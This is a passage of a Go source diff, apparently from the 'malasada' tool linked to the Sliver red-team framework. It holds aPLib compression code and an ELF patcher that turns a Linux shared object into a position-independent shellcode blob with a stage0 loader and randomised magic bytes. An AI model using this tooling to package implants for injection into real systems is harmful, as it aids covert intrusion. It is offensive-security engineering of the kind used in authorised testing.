||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeBit(bit uint32) {
|
||||
w.ensureTag()
|
||||
if bit != 0 {
|
||||
w.out[w.tagIndex] |= 1 << w.bitPos
|
||||
}
|
||||
w.bitPos--
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeByte(b byte) {
|
||||
w.out = append(w.out, b)
|
||||
}
|
||||
|
||||
// writeGamma writes the "gamma2" coding used by aPLib.
|
||||
//
|
||||
// Valid values are >= 2. Values < 2 are not representable.
|
||||
func (w *bitWriter) writeGamma(v uint32) {
|
||||
// aP_getgamma() starts at 1 and runs the body at least once, so the minimum
|
||||
// representable value is 2.
|
||||
if v < 2 {
|
||||
v = 2
|
||||
}
|
||||
|
||||
// For each bit after the MSB, output (dataBit, continueBit).
|
||||
n := bits.Len32(v)
|
||||
for shift := n - 2; shift >= 0; shift-- {
|
||||
dataBit := (v >> shift) & 1
|
||||
w.writeBit(dataBit)
|
||||
continueBit := uint32(0)
|
||||
if shift != 0 {
|
||||
continueBit = 1
|
||||
}
|
||||
w.writeBit(continueBit)
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
)
|
||||
|
||||
const (
|
||||
safeTag = 0x32335041 // 'AP32'
|
||||
safeHeaderSize = 24
|
||||
)
|
||||
|
||||
var ErrBadHeader = errors.New("aplib: bad safe header")
|
||||
|
||||
// PackSafe returns a safe-packed aPLib buffer (AP32 header + raw stream).
|
||||
func PackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
packed, err := Pack(src)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint64(len(packed)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
hdr := make([]byte, safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[0:4], safeTag)
|
||||
binary.LittleEndian.PutUint32(hdr[4:8], safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[8:12], uint32(len(packed)))
|
||||
binary.LittleEndian.PutUint32(hdr[12:16], crc32.ChecksumIEEE(packed))
|
||||
binary.LittleEndian.PutUint32(hdr[16:20], uint32(len(src)))
|
||||
binary.LittleEndian.PutUint32(hdr[20:24], crc32.ChecksumIEEE(src))
|
||||
|
||||
out := make([]byte, 0, len(hdr)+len(packed))
|
||||
out = append(out, hdr...)
|
||||
out = append(out, packed...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// DepackSafe depacks an AP32 header + aPLib buffer.
|
||||
func DepackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) < safeHeaderSize {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
if binary.LittleEndian.Uint32(src[0:4]) != safeTag {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
headerSize := binary.LittleEndian.Uint32(src[4:8])
|
||||
if headerSize < safeHeaderSize || headerSize > uint32(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
packedSize := binary.LittleEndian.Uint32(src[8:12])
|
||||
if uint64(headerSize)+uint64(packedSize) > uint64(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
origSize := binary.LittleEndian.Uint32(src[16:20])
|
||||
|
||||
body := src[headerSize : headerSize+packedSize]
|
||||
out, err := Depack(body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint32(len(out)) != origSize {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+896
@@ -0,0 +1,896 @@
|
||||
package malasada
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"debug/elf"
|
||||
_ "embed"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
keystone "github.com/moloch--/go-keystone"
|
||||
"github.com/sliverarmory/malasada/internal/aplib"
|
||||
)
|
||||
|
||||
// Arch is a linux architecture supported by malasada.
|
||||
type Arch int
|
||||
|
||||
const (
|
||||
ArchUnknown Arch = iota
|
||||
ArchLinuxAMD64
|
||||
ArchLinuxARM64
|
||||
)
|
||||
|
||||
func (a Arch) String() string {
|
||||
switch a {
|
||||
case ArchLinuxAMD64:
|
||||
return "linux/amd64"
|
||||
case ArchLinuxARM64:
|
||||
return "linux/arm64"
|
||||
default:
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func archFromELFMachine(m elf.Machine) (Arch, error) {
|
||||
switch m {
|
||||
case elf.EM_X86_64:
|
||||
return ArchLinuxAMD64, nil
|
||||
case elf.EM_AARCH64:
|
||||
return ArchLinuxARM64, nil
|
||||
default:
|
||||
return ArchUnknown, fmt.Errorf("unsupported ELF machine %v", m)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
errBadELF = errors.New("bad ELF")
|
||||
)
|
||||
|
||||
// DefaultCallExport is the default exported symbol name called by the generated
|
||||
// entry stub when the caller does not specify one.
|
||||
const DefaultCallExport = "StartW"
|
||||
|
||||
// ConvertSharedObject reads a Linux ELF shared object from soPath, patches it to
|
||||
// call exportName as the process entrypoint, and wraps it with the stage0 loader
|
||||
// to produce an executable PIC .bin blob.
|
||||
func ConvertSharedObject(soPath string, exportName string, compress bool) ([]byte, error) {
|
||||
if exportName == "" {
|
||||
exportName = DefaultCallExport
|
||||
}
|
||||
so, err := os.ReadFile(soPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Common footgun: Go's buildmode=c-archive produces an ar archive (.a), which
|
||||
// is sometimes misnamed as ".so". Provide a clear error early.
|
||||
if bytes.HasPrefix(so, []byte("!<arch>\n")) {
|
||||
return nil, fmt.Errorf("input %q is an ar archive (likely built with -buildmode=c-archive); malasada requires an ELF shared object (.so). Rebuild with: go build -buildmode=c-shared -o payload.so <pkg>", soPath)
|
||||
}
|
||||
|
||||
arch, patchedSO, err := patchSOToCallExport(so, exportName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
payload := patchedSO
|
||||
if compress {
|
||||
payload, err = aplib.PackSafe(patchedSO)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
stage0, err := buildStage0(arch)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := patchStage0PayloadLen(stage0, uint64(len(payload))); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out := make([]byte, 0, len(stage0)+len(payload))
|
||||
out = append(out, stage0...)
|
||||
out = append(out, payload...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// -----------------------------
|
||||
// stage0 build + patching
|
||||
// -----------------------------
|
||||
|
||||
const msdaMagicLen = 8
|
||||
|
||||
var msdaMagic = newMSDAMagic()
|
||||
|
||||
func newMSDAMagic() []byte {
|
||||
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
if len(letters) != 52 {
|
||||
// If this ever changes, the rejection-sampling below must be updated.
|
||||
panic("msda magic: unexpected alphabet length")
|
||||
}
|
||||
|
||||
// 52*4 is the largest multiple of 52 < 256, so we can map bytes uniformly.
|
||||
const cutoff = 52 * 4 // 208
|
||||
|
||||
out := make([]byte, msdaMagicLen)
|
||||
out[0] = 'M'
|
||||
for i := 1; i < len(out); {
|
||||
var buf [32]byte
|
||||
if _, err := rand.Read(buf[:]); err != nil {
|
||||
// Extremely unlikely; fall back to the historical magic.
|
||||
copy(out, []byte("MALASADA"))
|
||||
return out
|
||||
}
|
||||
for _, b := range buf {
|
||||
if b >= cutoff {
|
||||
continue
|
||||
}
|
||||
out[i] = letters[int(b)%len(letters)]
|
||||
i++
|
||||
if i == len(out) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
//go:generate go run ./internal/stage0/genstage0 -out internal/stage0
|
||||
|
||||
// Prebuilt stage0 blobs (generated by `go generate`). These are embedded so the
|
||||
// CLI can convert .so -> .bin without needing zig at runtime.
|
||||
//
|
||||
// IMPORTANT: Always copy before mutating; embed-backed bytes may live in
|
||||
// read-only memory.
|
||||
//
|
||||
//go:embed internal/stage0/stage0_linux_amd64.bin
|
||||
var stage0LinuxAMD64Prebuilt []byte
|
||||
|
||||
//go:embed internal/stage0/stage0_linux_arm64.bin
|
||||
var stage0LinuxARM64Prebuilt []byte
|
||||
|
||||
func patchStage0PayloadLen(stage0 []byte, payloadLen uint64) error {
|
||||
// The stage0 linker script forces the msda header to the end of the extracted
|
||||
// .text. We enforce that invariant so we can append the payload bytes directly
|
||||
// after the header.
|
||||
const headerSize = 8 + 4 + 4 + 8
|
||||
if len(stage0) < headerSize {
|
||||
return fmt.Errorf("stage0 too small")
|
||||
}
|
||||
|
||||
off := len(stage0) - headerSize
|
||||
hdr := stage0[off:]
|
||||
if binary.LittleEndian.Uint32(hdr[8:12]) != 1 {
|
||||
return fmt.Errorf("stage0 has unexpected msda version")
|
||||
}
|
||||
arch := binary.LittleEndian.Uint32(hdr[12:16])
|
||||
if arch != 1 && arch != 2 {
|
||||
return fmt.Errorf("stage0 has unexpected msda arch")
|
||||
}
|
||||
|
||||
if len(msdaMagic) != 8 {
|
||||
return fmt.Errorf("internal error: msdaMagic length is %d, want 8", len(msdaMagic))
|
||||
}
|
||||
copy(hdr[0:8], msdaMagic)
|
||||
|
||||
// payload_len is at offset 16 from magic start.
|
||||
binary.LittleEndian.PutUint64(hdr[16:24], payloadLen)
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildStage0(arch Arch) ([]byte, error) {
|
||||
var prebuilt []byte
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
prebuilt = stage0LinuxAMD64Prebuilt
|
||||
case ArchLinuxARM64:
|
||||
prebuilt = stage0LinuxARM64Prebuilt
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
if len(prebuilt) == 0 {
|
||||
return nil, fmt.Errorf("missing embedded stage0 for %v (run `go generate ./...`)", arch)
|
||||
}
|
||||
stage0 := make([]byte, len(prebuilt))
|
||||
copy(stage0, prebuilt)
|
||||
return stage0, nil
|
||||
}
|
||||
|
||||
// -----------------------------
|
||||
// .so patching (call export)
|
||||
// -----------------------------
|
||||
|
||||
const (
|
||||
elf64HeaderSize = 64
|
||||
elf64PhdrSize = 56
|
||||
|
||||
ptLoad = 1
|
||||
ptDynamic = 2
|
||||
ptInterp = 3
|
||||
ptNote = 4
|
||||
ptPhdr = 6
|
||||
|
||||
ptGnuEhFrame = 0x6474e550
|
||||
ptGnuStack = 0x6474e551
|
||||
)
|
||||
|
||||
const (
|
||||
pfX = 0x1
|
||||
pfW = 0x2
|
||||
pfR = 0x4
|
||||
)
|
||||
|
||||
const (
|
||||
dtNull = 0
|
||||
dtFlags1 = 0x6ffffffb
|
||||
|
||||
dtInit = 12
|
||||
dtInitArray = 25
|
||||
dtInitArraySz = 27
|
||||
dtPreinitArray = 32
|
||||
dtPreinitArraySz = 33
|
||||
)
|
||||
|
||||
const (
|
||||
df1Pie = 0x08000000
|
||||
)
|
||||
|
||||
type elf64Ehdr struct {
|
||||
ident [16]byte
|
||||
typ uint16
|
||||
machine uint16
|
||||
version uint32
|
||||
entry uint64
|
||||
phoff uint64
|
||||
shoff uint64
|
||||
flags uint32
|
||||
ehsize uint16
|
||||
phentsize uint16
|
||||
phnum uint16
|
||||
shentsize uint16
|
||||
shnum uint16
|
||||
shstrndx uint16
|
||||
_entryOff int
|
||||
_phoffOff int
|
||||
_phnumOff int
|
||||
_phentsOff int
|
||||
}
|
||||
|
||||
type elf64Phdr struct {
|
||||
typ uint32
|
||||
flags uint32
|
||||
off uint64
|
||||
vaddr uint64
|
||||
paddr uint64
|
||||
filesz uint64
|
||||
memsz uint64
|
||||
align uint64
|
||||
|
||||
fileOff int // where this phdr starts in the file
|
||||
}
|
||||
|
||||
func parseELF64Header(b []byte) (*elf64Ehdr, error) {
|
||||
if len(b) < elf64HeaderSize {
|
||||
return nil, errBadELF
|
||||
}
|
||||
var h elf64Ehdr
|
||||
copy(h.ident[:], b[:16])
|
||||
if h.ident[0] != 0x7f || h.ident[1] != 'E' || h.ident[2] != 'L' || h.ident[3] != 'F' {
|
||||
return nil, errBadELF
|
||||
}
|
||||
if h.ident[4] != 2 { // ELFCLASS64
|
||||
return nil, fmt.Errorf("%w: not ELF64", errBadELF)
|
||||
}
|
||||
if h.ident[5] != 1 { // ELFDATA2LSB
|
||||
return nil, fmt.Errorf("%w: not little-endian", errBadELF)
|
||||
}
|
||||
h.typ = binary.LittleEndian.Uint16(b[16:18])
|
||||
h.machine = binary.LittleEndian.Uint16(b[18:20])
|
||||
h.version = binary.LittleEndian.Uint32(b[20:24])
|
||||
h.entry = binary.LittleEndian.Uint64(b[24:32])
|
||||
h.phoff = binary.LittleEndian.Uint64(b[32:40])
|
||||
h.shoff = binary.LittleEndian.Uint64(b[40:48])
|
||||
h.flags = binary.LittleEndian.Uint32(b[48:52])
|
||||
h.ehsize = binary.LittleEndian.Uint16(b[52:54])
|
||||
h.phentsize = binary.LittleEndian.Uint16(b[54:56])
|
||||
h.phnum = binary.LittleEndian.Uint16(b[56:58])
|
||||
h.shentsize = binary.LittleEndian.Uint16(b[58:60])
|
||||
h.shnum = binary.LittleEndian.Uint16(b[60:62])
|
||||
h.shstrndx = binary.LittleEndian.Uint16(b[62:64])
|
||||
|
||||
h._entryOff = 24
|
||||
h._phoffOff = 32
|
||||
h._phentsOff = 54
|
||||
h._phnumOff = 56
|
||||
|
||||
if h.ehsize != elf64HeaderSize {
|
||||
return nil, fmt.Errorf("%w: unexpected ehsize %d", errBadELF, h.ehsize)
|
||||
}
|
||||
if h.phentsize != elf64PhdrSize {
|
||||
return nil, fmt.Errorf("%w: unexpected phentsize %d", errBadELF, h.phentsize)
|
||||
}
|
||||
if h.phoff == 0 || h.phnum == 0 {
|
||||
return nil, fmt.Errorf("%w: missing program headers", errBadELF)
|
||||
}
|
||||
phEnd := h.phoff + uint64(h.phnum)*uint64(h.phentsize)
|
||||
if phEnd > uint64(len(b)) {
|
||||
return nil, fmt.Errorf("%w: phdrs outside file", errBadELF)
|
||||
}
|
||||
return &h, nil
|
||||
}
|
||||
|
||||
func parseELF64Phdrs(b []byte, h *elf64Ehdr) ([]elf64Phdr, error) {
|
||||
out := make([]elf64Phdr, 0, h.phnum)
|
||||
off := int(h.phoff)
|
||||
for i := 0; i < int(h.phnum); i++ {
|
||||
p := b[off+i*elf64PhdrSize : off+(i+1)*elf64PhdrSize]
|
||||
ph := elf64Phdr{
|
||||
typ: binary.LittleEndian.Uint32(p[0:4]),
|
||||
flags: binary.LittleEndian.Uint32(p[4:8]),
|
||||
off: binary.LittleEndian.Uint64(p[8:16]),
|
||||
vaddr: binary.LittleEndian.Uint64(p[16:24]),
|
||||
paddr: binary.LittleEndian.Uint64(p[24:32]),
|
||||
filesz: binary.LittleEndian.Uint64(p[32:40]),
|
||||
memsz: binary.LittleEndian.Uint64(p[40:48]),
|
||||
align: binary.LittleEndian.Uint64(p[48:56]),
|
||||
fileOff: off + i*elf64PhdrSize,
|
||||
}
|
||||
out = append(out, ph)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func writeELF64Entry(b []byte, entry uint64) {
|
||||
binary.LittleEndian.PutUint64(b[24:32], entry)
|
||||
}
|
||||
|
||||
func writeELF64Phdr(b []byte, ph elf64Phdr) {
|
||||
p := b[ph.fileOff : ph.fileOff+elf64PhdrSize]
|
||||
binary.LittleEndian.PutUint32(p[0:4], ph.typ)
|
||||
binary.LittleEndian.PutUint32(p[4:8], ph.flags)
|
||||
binary.LittleEndian.PutUint64(p[8:16], ph.off)
|
||||
binary.LittleEndian.PutUint64(p[16:24], ph.vaddr)
|
||||
binary.LittleEndian.PutUint64(p[24:32], ph.paddr)
|
||||
binary.LittleEndian.PutUint64(p[32:40], ph.filesz)
|
||||
binary.LittleEndian.PutUint64(p[40:48], ph.memsz)
|
||||
binary.LittleEndian.PutUint64(p[48:56], ph.align)
|
||||
}
|
||||
|
||||
// swapELF64PhdrContents swaps the payload-relevant fields of a and b, but keeps
|
||||
// their fileOff values unchanged (fileOff represents the slot/location in the
|
||||
// program header table).
|
||||
func swapELF64PhdrContents(a, b *elf64Phdr) {
|
||||
a.typ, b.typ = b.typ, a.typ
|
||||
a.flags, b.flags = b.flags, a.flags
|
||||
a.off, b.off = b.off, a.off
|
||||
a.vaddr, b.vaddr = b.vaddr, a.vaddr
|
||||
a.paddr, b.paddr = b.paddr, a.paddr
|
||||
a.filesz, b.filesz = b.filesz, a.filesz
|
||||
a.memsz, b.memsz = b.memsz, a.memsz
|
||||
a.align, b.align = b.align, a.align
|
||||
}
|
||||
|
||||
func alignUp(x, align uint64) uint64 {
|
||||
if align == 0 {
|
||||
return x
|
||||
}
|
||||
return (x + (align - 1)) &^ (align - 1)
|
||||
}
|
||||
|
||||
func patchSOToCallExport(so []byte, exportName string) (Arch, []byte, error) {
|
||||
// Use debug/elf for symbol resolution (parsing only).
|
||||
f, err := elf.NewFile(bytes.NewReader(so))
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
if f.Class != elf.ELFCLASS64 || f.Data != elf.ELFDATA2LSB {
|
||||
return ArchUnknown, nil, fmt.Errorf("unsupported ELF (need 64-bit little-endian)")
|
||||
}
|
||||
if f.Type != elf.ET_DYN {
|
||||
return ArchUnknown, nil, fmt.Errorf("expected ET_DYN (.so), got %v", f.Type)
|
||||
}
|
||||
|
||||
arch, err := archFromELFMachine(f.Machine)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
dynSyms, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
var exportVaddr uint64
|
||||
found := false
|
||||
for _, s := range dynSyms {
|
||||
if s.Name == exportName {
|
||||
exportVaddr = s.Value
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return ArchUnknown, nil, fmt.Errorf("export %q not found in .dynsym", exportName)
|
||||
}
|
||||
|
||||
h, err := parseELF64Header(so)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
if elf.Type(h.typ) != elf.ET_DYN {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: not ET_DYN", errBadELF)
|
||||
}
|
||||
if elf.Machine(h.machine) != f.Machine {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: machine mismatch", errBadELF)
|
||||
}
|
||||
phdrs, err := parseELF64Phdrs(so, h)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
// Find a program header we can repurpose into a new executable PT_LOAD for the entry stub.
|
||||
stubPhIdx := -1
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptNote {
|
||||
stubPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if stubPhIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptGnuEhFrame {
|
||||
stubPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if stubPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose (need PT_NOTE or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
|
||||
// Find a program header we can repurpose into PT_INTERP so glibc's dynamic
|
||||
// loader treats the payload like a normal PIE executable.
|
||||
interpPhIdx := -1
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx {
|
||||
continue
|
||||
}
|
||||
if phdrs[i].typ == ptGnuStack {
|
||||
interpPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if interpPhIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx {
|
||||
continue
|
||||
}
|
||||
// Fall back to repurposing another low-value header if needed.
|
||||
if phdrs[i].typ == ptNote || phdrs[i].typ == ptGnuEhFrame {
|
||||
interpPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if interpPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_INTERP (need PT_GNU_STACK, PT_NOTE, or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
|
||||
// Ensure the payload has a PT_PHDR entry. Some glibc rtld code paths rely on
|
||||
// this when computing the executable's load bias.
|
||||
phdrIdx := -1
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptPhdr {
|
||||
phdrIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
phdrPhIdx := -1
|
||||
if phdrIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx || i == interpPhIdx {
|
||||
continue
|
||||
}
|
||||
if phdrs[i].typ == ptGnuEhFrame {
|
||||
phdrPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if phdrPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_PHDR (need PT_PHDR or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
}
|
||||
|
||||
var maxVaddrEnd uint64
|
||||
var maxAlign uint64 = 0x1000
|
||||
var dynPh *elf64Phdr
|
||||
for i := range phdrs {
|
||||
ph := &phdrs[i]
|
||||
if ph.typ == ptLoad {
|
||||
end := ph.vaddr + ph.memsz
|
||||
if end > maxVaddrEnd {
|
||||
maxVaddrEnd = end
|
||||
}
|
||||
if ph.align > maxAlign {
|
||||
maxAlign = ph.align
|
||||
}
|
||||
}
|
||||
if ph.typ == ptDynamic {
|
||||
dynPh = ph
|
||||
}
|
||||
}
|
||||
if maxVaddrEnd == 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: no PT_LOAD segments", errBadELF)
|
||||
}
|
||||
if dynPh == nil {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: no PT_DYNAMIC segment", errBadELF)
|
||||
}
|
||||
|
||||
stubFileOff := alignUp(uint64(len(so)), maxAlign)
|
||||
stubVaddr := alignUp(maxVaddrEnd, maxAlign)
|
||||
|
||||
initVaddrs, err := extractInitVaddrs(so, phdrs, *dynPh)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
// Append padding then the entry stub itself.
|
||||
so2 := make([]byte, 0, int(stubFileOff)+1024)
|
||||
so2 = append(so2, so...)
|
||||
if pad := int(stubFileOff) - len(so2); pad > 0 {
|
||||
so2 = append(so2, bytes.Repeat([]byte{0}, pad)...)
|
||||
}
|
||||
|
||||
stub, err := makeEntryStub(arch, stubVaddr, exportVaddr, initVaddrs)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
so2 = append(so2, stub...)
|
||||
|
||||
// Add a PT_INTERP string (within the stub PT_LOAD) so glibc ld-linux treats
|
||||
// the payload like a normal executable (needed for some rtld invariants).
|
||||
interpPath := ""
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
interpPath = "/lib64/ld-linux-x86-64.so.2"
|
||||
case ArchLinuxARM64:
|
||||
interpPath = "/lib/ld-linux-aarch64.so.1"
|
||||
default:
|
||||
return ArchUnknown, nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
interpStr := append([]byte(interpPath), 0)
|
||||
interpFileOff := uint64(len(so2))
|
||||
interpVaddr := stubVaddr + uint64(len(stub))
|
||||
so2 = append(so2, interpStr...)
|
||||
|
||||
// Convert the selected phdr into our stub PT_LOAD.
|
||||
stubPh := phdrs[stubPhIdx]
|
||||
stubPh.typ = ptLoad
|
||||
stubPh.flags = pfR | pfX
|
||||
stubPh.off = stubFileOff
|
||||
stubPh.vaddr = stubVaddr
|
||||
stubPh.paddr = stubVaddr
|
||||
stubPh.filesz = uint64(len(stub) + len(interpStr))
|
||||
stubPh.memsz = uint64(len(stub) + len(interpStr))
|
||||
stubPh.align = maxAlign
|
||||
phdrs[stubPhIdx] = stubPh
|
||||
|
||||
// Repurpose another phdr into PT_INTERP.
|
||||
interpPh := phdrs[interpPhIdx]
|
||||
interpPh.typ = ptInterp
|
||||
interpPh.flags = pfR
|
||||
interpPh.off = interpFileOff
|
||||
interpPh.vaddr = interpVaddr
|
||||
interpPh.paddr = interpVaddr
|
||||
interpPh.filesz = uint64(len(interpStr))
|
||||
interpPh.memsz = uint64(len(interpStr))
|
||||
interpPh.align = 1
|
||||
phdrs[interpPhIdx] = interpPh
|
||||
|
||||
// Add PT_PHDR if we had to repurpose one, and ensure it is the first phdr.
|
||||
if phdrPhIdx >= 0 {
|
||||
phdrPh := phdrs[phdrPhIdx]
|
||||
phdrPh.typ = ptPhdr
|
||||
phdrPh.flags = pfR
|
||||
phdrPh.off = h.phoff
|
||||
phdrPh.vaddr = h.phoff
|
||||
phdrPh.paddr = h.phoff
|
||||
phdrPh.filesz = uint64(h.phnum) * uint64(h.phentsize)
|
||||
phdrPh.memsz = phdrPh.filesz
|
||||
phdrPh.align = 8
|
||||
phdrs[phdrPhIdx] = phdrPh
|
||||
phdrIdx = phdrPhIdx
|
||||
}
|
||||
if phdrIdx >= 0 && phdrIdx != 0 {
|
||||
// glibc's rtld startup code expects to discover the load bias from PT_PHDR
|
||||
// before processing PT_DYNAMIC for the main program. Put PT_PHDR in slot 0
|
||||
// to match normal PIE executables.
|
||||
swapELF64PhdrContents(&phdrs[0], &phdrs[phdrIdx])
|
||||
phdrIdx = 0
|
||||
}
|
||||
|
||||
// Patch e_entry to point at the stub.
|
||||
writeELF64Entry(so2, stubVaddr)
|
||||
|
||||
// Write back all program headers (some are repurposed/reordered above).
|
||||
for i := range phdrs {
|
||||
writeELF64Phdr(so2, phdrs[i])
|
||||
}
|
||||
|
||||
// Patch DT_FLAGS_1 |= DF_1_PIE if present.
|
||||
if err := patchDTFlags1Pie(so2, *dynPh); err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
return arch, so2, nil
|
||||
}
|
||||
|
||||
func patchDTFlags1Pie(so []byte, dynPh elf64Phdr) error {
|
||||
// dynPh.off points to the dynamic entries in the file.
|
||||
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||
return fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||
}
|
||||
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||
if len(dyn)%16 != 0 {
|
||||
// Not fatal; still try to parse what we can.
|
||||
}
|
||||
for off := 0; off+16 <= len(dyn); off += 16 {
|
||||
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||
if tag == dtNull {
|
||||
break
|
||||
}
|
||||
if uint64(tag) == dtFlags1 {
|
||||
val |= df1Pie
|
||||
binary.LittleEndian.PutUint64(dyn[off+8:off+16], val)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// If there's no DT_FLAGS_1, we still proceed; glibc will treat it as a normal
|
||||
// shared object, but for our exec-like jump into ld-linux we primarily need
|
||||
// a non-zero e_entry.
|
||||
return nil
|
||||
}
|
||||
|
||||
func vaddrToFileOff(phdrs []elf64Phdr, vaddr uint64, size uint64) (uint64, error) {
|
||||
for i := range phdrs {
|
||||
ph := phdrs[i]
|
||||
if ph.typ != ptLoad {
|
||||
continue
|
||||
}
|
||||
// For file-backed data (like init arrays), we need it to be within the
|
||||
// segment's file image, not just its in-memory range.
|
||||
if vaddr < ph.vaddr || vaddr+size > ph.vaddr+ph.filesz {
|
||||
continue
|
||||
}
|
||||
off := ph.off + (vaddr - ph.vaddr)
|
||||
return off, nil
|
||||
}
|
||||
return 0, fmt.Errorf("%w: vaddr 0x%x not in any PT_LOAD file range", errBadELF, vaddr)
|
||||
}
|
||||
|
||||
func extractInitVaddrs(so []byte, phdrs []elf64Phdr, dynPh elf64Phdr) ([]uint64, error) {
|
||||
// dynPh.off points to the dynamic entries in the file.
|
||||
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||
return nil, fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||
}
|
||||
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||
|
||||
var (
|
||||
initVaddr uint64
|
||||
preinitArrayVaddr uint64
|
||||
preinitArraySz uint64
|
||||
initArrayVaddr uint64
|
||||
initArraySz uint64
|
||||
)
|
||||
|
||||
for off := 0; off+16 <= len(dyn); off += 16 {
|
||||
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||
if tag == dtNull {
|
||||
break
|
||||
}
|
||||
switch uint64(tag) {
|
||||
case dtInit:
|
||||
initVaddr = val
|
||||
case dtPreinitArray:
|
||||
preinitArrayVaddr = val
|
||||
case dtPreinitArraySz:
|
||||
preinitArraySz = val
|
||||
case dtInitArray:
|
||||
initArrayVaddr = val
|
||||
case dtInitArraySz:
|
||||
initArraySz = val
|
||||
}
|
||||
}
|
||||
|
||||
readPtrArray := func(arrayVaddr, arraySz uint64) ([]uint64, error) {
|
||||
if arrayVaddr == 0 || arraySz == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if arraySz%8 != 0 {
|
||||
return nil, fmt.Errorf("%w: init array size 0x%x not 8-byte aligned", errBadELF, arraySz)
|
